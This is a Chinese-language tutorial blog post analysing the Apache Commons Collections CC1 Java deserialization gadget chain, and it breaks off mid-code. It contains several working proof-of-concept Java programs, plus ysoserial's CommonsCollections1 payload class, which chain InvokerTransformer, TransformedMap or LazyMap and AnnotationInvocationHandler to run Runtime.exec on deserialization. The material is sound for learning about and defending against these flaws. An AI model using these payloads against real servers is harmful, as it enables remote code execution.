JAVA反序列入门篇-CommonsCollections1分析
PS:首发自:https://moonsec.top/articles/79
说明
用于学习过程中的记录~
1、前言
1.1 序列化与反序列化概念
序列化: 将数据结构或对象转换成二进制串的过程
反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程
1.2 使用场景
当你想把的内存中的对象状态保存到一个文件中或者数据库中时候。
当你想用套接字在网络上传送对象的时候。
当你想通过 RMI 传输对象的时候。
1.3 反序列化过程
在开始之前我们需要理一下反序列化漏洞的攻击流程:
- 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)
- exp发送到服务端,进入一个服务端自主复写(也可能是也有组件复写)的readobject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)
- 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readobject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......
- 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。
那么以上大概可以分成三个主要部分:
- payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;我把它称为:payload
- 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。(在此篇中就是commons-collections利用链)
- readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点)
2、概述
通过上述的反序列化的过程,下面来分析Commons Collections利用链。
Commons Collections的利用链也被称为CC链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
2.1 环境
Commons Collections 3.1
JDK7u_21
注:只能在JDK7复现成功,因为JDK8u71后跟新了AnnotationInvocationHandler的readObject方法
2.2 简化版POC代码
因为真正的POC比较复杂,一下子看过去可能接受不了。所以先分析分析P牛自己造的简化版代码来消化消化知识。
P牛先构造本地简化版本的调用链。
package CC1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd.exe /c calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
2.3 Transformer 说明
此抽象类的实例可以将源树转换为结果树。这个接口的功能就是将一个对象转换为另外一个对象。
可以使用 TransformerFactory.newTransformer 方法获得此类的实例。 然后,该实例可用于处理来自各种源的XML,并将转换输出写入各种接收器。
此类的对象不能在并发运行的多个线程中使用。 不同的线程可以同时使用不同的变换器。
可以多次使用 Transformer 。 变换之间保留参数和输出属性。
可以将 Transformer 理解为一个转换器,不同的 Transformer 实现不同的功能,通过调用 transform 方法来使用 Transformer 的具体功能。
写了一个Transformer的Demo
Transfomer是Apache Commons Collections库引入的一个接口,每个具体的Transformer类必须实现Transformer接口,比如我自己定义了一个MyTransformer类:
import java.io.Serializable; import java.util.HashMap; import java.util.Map; public class MyTransformer implements Transformer, Serializable { public String name; public MyTransformer(String name) { System.out.println("in Mytransformer:MyTransformer()"); this.name = name; } public static Transformer getInstance(String name ){ System.out.println("in Mytransformer:getInstance()"); return new MyTransformer(name); } @Override public Object transform(Object o) { System.out.println("in Mytransformer:transform()"); System.out.println("input is:"+o); return this.name; } public static void main(String[] args) { MyTransformer my = (MyTransformer)MyTransformer.getInstance("trans-value"); Map normalmap = new HashMap(); normalmap.put("key1","value1"); normalmap.put("key2","value2"); Map transmap = TransformedMap.decorate(normalmap,null,my); Map.Entry entry = (Map.Entry)transmap.entrySet().iterator().next(); entry.setValue("newvaule"); System.out.println(normalmap); } }
当一个Transformer通过TranformerMap的decorate方法绑定到Map的key或value上时,如果这个Map的key或value发生了变化,则会调用Transformer的transform方法,MyTransformer的transform方法是return this.name。
测试用例如下:
创建了一个MyTransformer,并使之this.name="trans-value"。然后在16-18行创建了一个Map,并在20行通过decorate方法将MyTransformer绑定到Map的value上(第二个参数为绑定到key上的Transformer)。接着在22-23行对Map进行setValue,即对Map的value进行修改。这时就会对value触发已经绑定到Map-Value上的MyTransformer的transform方法。看一下MyTransformer的transform方法,已知其直接返回this.name,由于this.name在14行已经被设置成了"trans-value",故这里直接返回这个字符串,赋值给value。看一下运行结果:
可以看到,value已经被transform方法修改成了this.name。
2.3.1 常用 Transformer 介绍
ConstantTransformer#
每次返回相同常量的转换器实现。
// 构造函数 public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } // transform 方法 public Object transform(Object input) { return iConstant; }
从源码可以看出,它的功能很简单,就是直接返回传入的对象。
2.3.2 InvokerTransformer
通过反射创建新对象实例的转换器实现。
// 构造函数 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } // tranform 方法 public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }
从源码可以看出, InvokerTransformer 的作用是通过反射调用指定类的指定方法,并将调用结果返回。
2.3.3 ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类。
public class ChainedTransformer implements Transformer, Serializable { static final long serialVersionUID = 3514945074733160196L; private final Transformer[] iTransformers; public static Transformer getInstance(Transformer[] transformers) { FunctorUtils.validate(transformers); if (transformers.length == 0) { return NOPTransformer.INSTANCE; } else { transformers = FunctorUtils.copy(transformers); return new ChainedTransformer(transformers); } } public static Transformer getInstance(Collection transformers) { if (transformers == null) { throw new IllegalArgumentException("Transformer collection must not be null"); } else if (transformers.size() == 0) { return NOPTransformer.INSTANCE; } else { Transformer[] cmds = new Transformer[transformers.size()]; int i = 0; for(Iterator it = transformers.iterator(); it.hasNext(); cmds[i++] = (Transformer)it.next()) { } FunctorUtils.validate(cmds); return new ChainedTransformer(cmds); } } public static Transformer getInstance(Transformer transformer1, Transformer transformer2) { if (transformer1 != null && transformer2 != null) { Transformer[] transformers = new Transformer[]{transformer1, transformer2}; return new ChainedTransformer(transformers); } else { throw new IllegalArgumentException("Transformers must not be null"); } } public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } //看到transform方法是通过传入Trasnformer[]数组来对传入的数值进行遍历并且调用数组对象的transform方法。 public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; } public Transformer[] getTransformers() { return this.iTransformers; } }
从源码可以看出, ChainedTransformer 的构造函数接收一个 Transformer 的列表,调用 transform 方法时,接收一个对象参数,使用该列表中的每一个 Transformer 对该对象参数进行 transform 操作,并最终返回传入的对象参数。
2.4、反序列化漏根源-TransformedMap
Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行setvalue操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。
简单来说就是给普通的 Map 对象添加 transform 功能,查看源码:
// 可以使用该方法将普通 Map 转换为 TransformedMap public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } // 构造函数 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; // 主要是这里,将参数直接赋值给 valueTransformer 了 this.valueTransformer = valueTransformer; } protected Object transformValue(Object object) { if (valueTransformer == null) { return object; } // 注意,这里会调用 transform 方法 return valueTransformer.transform(object); } // put 方法会调用 transformValue 方法 public Object put(Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); }
简单来说,我们可以将一个普通的 Map 转换成 TransformedMap,然后通过 RMI 传输到服务器上,找到服务器上调用 Map.put 的地方,就可以实现命令执行。
我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer。
2.5、CC1 简化版POC代码分析
public class CommonCollections1 { public static void main(String[] args) throws Exception { //声明一个Transformer 数组。 //ConstantTransformer 返回Runtime.getRuntime()实例 //InvokerTransformer 声明三个参数,供后续Transformer调用 // this.iMethodName = methodName; // this.iParamTypes = paramTypes; // this.iArgs = args; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd.exe /c calc.exe"}), }; //返回Transformer数组对象 Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); //生成 如下两个对象: // this.keyTransformer = keyTransformer; // this.valueTransformer = valueTransformer; Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //在setvalue中逐个转换上述的对象,触发漏洞,通过在transformKey 或者 transformValue 中进行个转化 //最终在InvokerTransformer.tansform 中调用漏洞 outerMap.put("test", "xxxx"); } }
调用链
Transformap.put(xx,xx)-->transformValue(value)-->valueTransformer.transform(object)--->iTransformers[i].transform(object)
2.6、进阶版POC代码
上面的代码执只是⼀个用来在本地测试的类。在实际反序列化漏洞中,我们需要将上面最终生成的outerMap对象变成⼀个序列化流。
因为在实际攻击的过程中只有构造一个恶意的数据流发送到服务器端,服务器解析该恶意的数据流触发反序列化漏洞,执行构造的恶意代码才能真正的构成攻击.
我们如何⽣成⼀个可以利用的反序列化POC呢?中间又会遇到哪些问题呢?
2.6.1 问题一
Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实 现了 java.io.Serializable接口。而我们最早传给ConstantTransformer的是Runtime.getRuntime() ,Runtime类是没有实现 java.io.Serializable接口的,所以不允许被序列化。
比如如下的代码
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.StringTokenizer; public class CC1_4 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { //客户端构造payload Transformer[] transformers = new Transformer[] { new ConstantTransformer(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); //payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(transformerChain); //服务端反序列化payload读取 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input Transformer transformerChain_now = (ChainedTransformer) fin.readObject(); transformerChain_now.transform(null); } }
java.lang.Runtime 无法被反序列化。
那怎么解决呢?这里就需要利用反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类。
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null); rt.exec("calc.exe");
转成transform写法如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.StringTokenizer; public class CC1_4 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException { //客户端构造payload Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("key", "value"); //给予map数据转化链 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞 outerMap.put("test", "xxxx"); }
分析下几个循环
第一个循环
new ConstantTransformer(Runtime.class)
直接返回传入的Runtime.class对象
第二个循环
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Object[0]})
传入的input为一个循环返回的Runtime.class对象,getClass方法返回一个Class对象,之后用getMethod方法调用Class对象的getMethod方法,可以看成是反射调用反射。返回java.lang.Runtime.getRuntime(),接下来是调用这个方法对象。
第三个循环
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})
因为input是一个方法java.lang.Runtime.getRuntime(),所以getClass方法返回的是一个Method对象,之后获取Method对象的invoke方法,最后相当于是invoke.invoke(java.lang.Runtime.getRuntime,null),返回了一个Runtime实例化对象。
第四个循环
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
input的是Runtime的对象,所以getClass方法返回就是Runtime.class的对象,回到最初的反射调用,命令执行成功。
2.6.2 问题二
触发这个漏洞的核心,在于当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法。在上面的代码中,我们是人为执行outerMap.put("test", "xxxx")来触发漏洞,在服务器的后台开发人员不可能为我们写好一个outerMap.put("test", "xxxx")来触发该漏洞。因此在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入、修改等操作来触发该链
替代 outerMap.put("test", "xxxx") 达到攻击的效果。完美的反序列化漏洞还需要一个readobject复写点,使只要服务端执行了readObject函数就等于命令执行。
我们发现 AnnotationInvocationHandler类具有这个效果
我们来仔细看看sun.reflect.annotation.AnnotationInvocationHandler
1、构造方法
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {//var1满足这个if条件时 this.type = var1;//传入的var1到this.type this.memberValues = var2;//我们的map传入this.memberValues } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); } }
2、看下readObject方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { //默认反序列化 var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes();// Iterator var4 = this.memberValues.entrySet().iterator();//获取我们构造map的迭代器 while(var4.hasNext()) { Entry var5 = (Entry)var4.next();//遍历map迭代器 String var6 = (String)var5.getKey();//获取key的名称 Class var7 = (Class)var3.get(var6);//获取var2中相应key的class类?这边具体var3是什么个含义不太懂,但是肯定var7、8两者不一样 if (var7 != null) { Object var8 = var5.getValue();//获取map的value if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { //两者类型不一致,给var5赋值!!具体赋值什么已经不关键了!只要赋值了就代表执行命令成功 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } }
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。
在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码。
创建个sun.reflect.annotation.AnnotationInvocationHandler实例化对象并将前面构造的 HashMap设置进来。
因为sun.reflect.annotation.AnnotationInvocationHandler是JDK内部的类。不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
然后把组合好的POC,运行看看能不能反序列成功。
为了测试方便,我们后续的代码在模拟反序列化的时候通过写入和读取文件来进行模拟,代码的样式如下:
//payload序列化写入文件,模拟网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(transformerChain); //服务端反序列化payload读取 FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); //服务端反序列化成ChainedTransformer格式,并在服务端自主传入恶意参数input Transformer transformerChain_now = (ChainedTransformer) fin.readObject(); transformerChain_now.transform(null);
完整的POC代码如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; import java.util.StringTokenizer; import java.util.HashMap; public class CC1_3 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("test", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); //Retention.class 定义元批注以确定批注的保留范围。 InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); FileOutputStream fileOutputStream = new FileOutputStream("./cc1.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(handler); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream("./cc1.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); objectInputStream.close(); fileInputStream.close(); } }
上述代码运行后发现并没有成功弹出计算器
通过调试发现:innerMap.put("value", "value");我换成innerMap.put("key", "value");就无法触发,key换成其他值都无法触发,只有“value”可以。
说明:在我们封装成Map时。就默认使用了value:value作为键值对,在那个时候我们把这里改成任意的键值对都是可以成功触发的。
但是一旦我们引入了AnnotationInvocationHandler作为readobject复写点,就再去改动这个值就会执行命令失败。问题肯定处理在AnnotaionInvocationHandler这个过程中。
来DEBUG看当取值key:value时,在什么地方出了问题,找到是反序列化时的sun.reflect.annotation.AnnotationInvocationHandler#readObject,这边var7,会为空,从而不进入我们的setValue触发命令执行。
!
从调试过程可以看到,当v7 = null的时候跳过后续的触发漏洞的方法。
AnnotationInvocationHandler代码分析
重新分析之前囫囵吞枣地AnnotationInvocationHandler的readobject:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { //默认反序列化,这里是前半部分代码 var1.defaultReadObject(); AnnotationType var2 = null; try { //这里的this.type是我们在实例化的时候传入的jdk自带的Target.class //之前的poc语句是这样Object instance = ctor.newInstance(Target.class, outerMap); var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { return; }
AnnotationType.getInstance(this.type)是一个关键的有关注解的操作。所以我们需要先来了解一下java的注解。
注解
Target.class其实是java提供的的元注解(因为是注解所以之后写成特有的形式@Target)。除此之外还有@Retention、@Documented、@Inherited,所谓元注解就是标记其他注解的注解。
- @Target 用来约束注解可以应用的地方(如方法、类或字段)
- @Retention用来约束注解的生命周期,分别有三个值,源码级别(source),类文件级别(class)或者运行时级别(runtime)
- @Documented 被修饰的注解会生成到javadoc中
- @Inherited 可以让注解被继承,但这并不是真的继承,只是通过使用@Inherited,可以让子类Class对象使用getAnnotations()获取父类被@Inherited修饰的注解
- 除此之外注解还可以有注解元素(等同于赋值)。
举个自定义注解的例子:
@Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) public @interface DBTable { String name() default "";//default是默认值 }
它会被这样使用:
@DBTable(name = "MEMBER") public class Member { }
由于赋值的时候总是用 注解元素 = 值的形式太麻烦了,出现了 value 这个偷懒的语法糖。(这也是为什么之前的@Target(ElementType.TYPE)不是注解元素 = 值的形式)
如果注解元素为value时,就不需要用注解元素 = 值的形式,而是直接写入值就可以赋值为value。
除此之外java还有一些内置注解:
- @Override:用于标明此方法覆盖了父类的方法
- @Deprecated:用于标明已经过时的方法或类
- @SuppressWarnnings:用于有选择的关闭编译器对类、方法、成员变量、变量初始化的警告
回过头来看看java.lang.annotation.Target:
@Documented//会被写入javadoc文档 @Retention(RetentionPolicy.RUNTIME)//生命周期时运行时 @Target(ElementType.ANNOTATION_TYPE)//标明注解可以用于注解声明(应用于另一个注解上) public @interface Target { ElementType[] value();//注解元素,一个特定的value语法糖,可以省点力气 }
回来在看,初步了解了java的注解之后,我们回来看AnnotationType.getInstance(this.type)对@Target这个注解的处理,不过多的去纠结内部细节,getInstance会获取到@Target的基本信息,包括注解元素,注解元素的默认值,生命周期,是否继承等等。
再来看接下来的var3,var3就是一个注解元素的键值对value这个注解元素,可以取值Ljava.lang.annotation.ElementType类型的值
//后半部分代码 Map var3 = var2.memberTypes();//{value:ElementType的键值对} Iterator var4 = this.memberValues.entrySet().iterator(); //获取我们构造map的迭代器,无法命令执行的键值对是{key:value} while(var4.hasNext()) { Entry var5 = (Entry)var4.next();//获取到{key:value} String var6 = (String)var5.getKey();//获取键值对的键名key Class var7 = (Class)var3.get(var6); //从@Target的注解元素键值对{value:ElementType的键值对}中去寻找键名为key的值 //于是var7为空 if (var7 != null) { //触发命令执行处 } } } } }
这样我们就搞懂了为什么赋值map{key:value}就不行,因为通过AnnotationInvocationHandler#readObject,我们需要保证:
我们poc中提供的this.type的注解要存在注解元素名(为了满足var3不为空)。
我们poc中提供的this.memberValues中存在的一个键值对的键名与this.type的注解要存在注解元素名相等。(为了满足var7!=null)
所以我们选取了@Target注解作为this.type,我们就必须向this.memberValues写入一个value:xxx的键值对
这里的this.type是可以变动的,比如换成另一个元注释Retention.class(虽然他的注解元素名也是value),甚至可以自定义,但是对方服务器上没有这个注释,打别人是没有用的,所以还是选用大家都有的元注释。
在注解的获取中取得Var7的值。
通过调用链,可以看到Var7的值由var2 决定,var2的值由 Retention决定。
因为为了使可以运行成功,我们写入的this.memberValues的键名不能改变,但是值可以改变。
运行成功,弹框成功。
调用链条
AnnotationInvocationHandler.readObject()
->AbstractInputCheckedMapDecorator.setValue()
->TransformedMap.checkSetValue()
->ChainedTransformer.transform() (循环回调)
->InvokerTransformer.transform()
3、ysoserial版POC代码
先贴一个完整Gadget链条
Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
ysoserial的源POC
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> { @Override public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
上述的ysoserial的代码 和 我们前文分析的POC的区别
①LazyMap类
链条里使用的类是LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法。
LazyMap在get方法中
TransformedMap 在put方法中
修改之前的POC,使用layzmap
public class CC1_2 { public static void main(String[] args) throws Exception { //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码 Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; //将transformers数组存入ChaniedTransformer这个继承类 Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina Map innerMap = new HashMap(); innerMap.put("key", "value"); //给予map数据转化链 // Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Map outerMap = LazyMap.decorate(innerMap, transformerChain); //触发漏洞 // outerMap.put("test", "xxxx"); outerMap.get("test"); } }
②AnnotationInvocationHandler.invoke方法
动态代理概念
Java动态代理InvocationHandler和Proxy参考文章 :https://blog.csdn.net/yaomingyang/article/details/80981004
InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。
每一个动态代理类的调用处理程序都必须实现InvocationHandler接口,并且每个代理类的实例都关联到了实现该接口的动态代理类调用处理程序中,当我们通过动态代理对象调用一个方法时候,这个方法的调用就会被转发到实现InvocationHandler接口类的invoke方法来调用。
这里适用动态代理的意义在于,主要调用Lazymap的任意方法,都会区调用AnnotationInvocationHandler的invoke()方法。
LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readObject中又调用了LazyMap.entrySet方法,最后需要将绑定了chainedtransformer的Map传入AnnotationInvocationHandler的构造方法中,反序列化AnnotationInvocationHandler,整条利用链就又巧妙的连起来了。
Proxy类
Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但是我们最常用的是newProxyInstance方法。
这个方法的作用就是创建一个代理类对象,它接收三个参数
-
loader:用哪个类加载器去加载代理对象
-
interfaces:动态代理类需要实现的接口
-
h:动态代理方法在执行时,会调用h里面的invoke方法去执行
使用LazyMap+动态代理构造利用链
我们需要对实现了Map接口的类进行Proxy,LazyMap实现了Map接口,所以只要调用了LazyMap的任意方法,都会直接去调用AnnotationInvocationHandler类的invoke()方法。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
但我们不能直接对其进行序列化,因为我们入口点是sun.reflect.annotation.AnnotationInvocationHandler.readObject,所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹。
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
4、最终的POC
基于ysoserial的POC,最终的POC如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import java.util.StringTokenizer; import java.util.HashMap; public class CC1_5 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); 